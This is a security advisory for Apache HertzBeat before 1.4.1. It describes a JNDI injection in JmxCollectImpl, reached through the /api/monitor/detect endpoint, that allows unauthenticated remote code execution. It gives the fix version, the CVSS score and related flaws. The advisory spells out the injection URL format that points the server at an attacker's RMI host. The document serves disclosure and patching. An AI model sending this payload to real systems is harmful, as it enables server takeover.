Hertzbeat is a real-time monitoring system. In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection. The corresponding interface is `/api/monitor/detect`. If there is a URL field, the address will be used by default. When the URL is `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`, it can be exploited to cause remote code execution. Version 1.4.1 contains a fix for this issue.
The vulnerability exists in the `JmxCollectImpl.java` class, in the `JMXConnectorFactory.connect` call, which does not validate the passed URL. The `/api/monitor/detect` endpoint accepts a URL field and if the value takes the form `service:jmx:rmi:///jndi/rmi://[host]:1099/[resource]`, it is passed directly to the JNDI mechanism. An attacker can point to a malicious RMI server under their control, resulting in loading and execution of arbitrary code on the server side.
An unauthenticated remote attacker can gain full control over the server — read sensitive data, modify or destroy data, and destabilize system operation (full triad: confidentiality, integrity, availability).
Apache Hertzbeat should be updated to version 1.4.1, which contains a fix for this issue. Details are available in the vendor's repository (commit f794b0d82be49c596c04a042976446559eb315ef).
Apache Hertzbeat in versions prior to 1.4.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HApache Hertzbeat
APPApache< 1.4.1
Related vulnerabilities
Apache Hertzbeat — YAML deserialization w endpoincie /define/yml
Apache Hertzbeat — script injection via AviatorEvaluator (RCE)
Improper Neutralization of Data within XPath Expressions ('XPath Injection') vulnerability in Apache HertzBeat...
XML Injection RCE by parse http sitemap xml response vulnerability in Apache HertzBeat. The attack...
Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') vulnerability in Apache H...